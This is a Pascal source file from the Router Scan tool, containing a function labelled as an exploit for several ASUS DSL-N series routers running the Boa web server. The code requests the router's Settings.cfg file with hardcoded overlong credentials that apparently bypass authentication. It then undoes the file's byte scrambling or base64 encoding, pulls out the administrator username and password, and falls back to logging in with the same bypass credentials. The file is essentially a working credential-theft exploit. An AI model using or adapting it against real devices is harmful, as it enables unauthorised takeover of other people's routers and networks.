// Router Scan exploit
// Copyright (C) Stas'M Corp. 2015

// Project home page:
// http://stascorp.com/load/1-1-0-56

function TRouter.Exploit_Boa_ASUS(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;
const
  usr2 = 'qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyui';
  usr3 = 'user3';
  psw  = '12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678';
var
  Code, I: Integer;
  S, URI, Tmp: String;
  M: TMemoryStream;
  A: AnsiString;
  B: Byte;
  dwEncode: DWORD;
begin
  // Affected:
  // ASUS DSL-N10 Rev. C1
  // ASUS DSL-N12U Rev. C1
  // ASUS DSL-N14U
  // ASUS DSL-N16U
  Result := False;
  if Pos('Boa/', ServerName) <> 1 then
    Exit;
  if AuthOk and (AuthUser = 'admin') then
    Exit;
  if GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/cgi-bin/status_wifi.cgi',
  S, Code, 2, 0, ServerName, UseAuth, AuthUser, AuthPass) then
    if Pos('MAC address'#9': ', S) > 0 then begin
      BSSID := DeleteBetween(S, 'MAC address'#9': ', #10);
      SetTableCell(stcBSSID, BSSID);
    end;
  if Realm <> '' then
    URI := '/Settings_'+Realm+'.cfg'
  else
    URI := '/Settings.cfg';
  M := TMemoryStream.Create;
  Result := GetHTTPStream('http://'+IPToStr(IP)+':'+IntToStr(Port) + URI,
  M, Code, 2, 0, ServerName, True, usr2, psw);
  if Result then
    Result := Code = 200;
  if not Result then begin
    M.SetSize(0);
    Result := GetHTTPStream('http://'+IPToStr(IP)+':'+IntToStr(Port) + URI,
    M, Code, 2, 0, ServerName, True, usr3, psw);
    if Result then
      Result := Code = 200;
  end;
  if Result then begin
    StreamToAnsi(M, A);
    if Pos('EnCrYpTRomFIle', A) > 0 then begin
      // dynamically encoded %)
      M.Position := $24;
      M.ReadBuffer(dwEncode, 4);
      dwEncode := SwapEndian(dwEncode);

      M.Position := 0;
      for I := 0 to M.Size - 1 do begin
        M.ReadBuffer(B, 1);
        B := not(B - dwEncode);
        M.Position := M.Position - 1;
        M.WriteBuffer(B, 1);
      end;
      StreamToAnsi(M, A);
    end;
    if (Pos('web_passwd="', A) = 0)
    and (PosR2L('=', A) = Length(A)) then
      A := DecodeBase64(A);
    if Pos('web_passwd="', A) > 0 then begin
      Tmp := DeleteBetween(DeleteBetween(A, '<Account>', '</Account>'), '<Entry0 ', ' />');
      AuthUser := DeleteBetween(Tmp, 'username="', '"');
      AuthPass := DeleteBetween(Tmp, 'web_passwd="', '"');
    end else
      Result := False;
  end;
  M.Free;
  if not Result then begin
    if GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port) + DetectionPage,
    S, Code, 2, 0, ServerName, True, usr2, psw) then
      if GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port) + DetectionPage,
      S, Code, 2, 0, ServerName, True, usr2, psw) then
        if Code = 200 then begin
          Result := True;
          AuthUser := usr2;
          AuthPass := psw;
        end;
  end;
end;
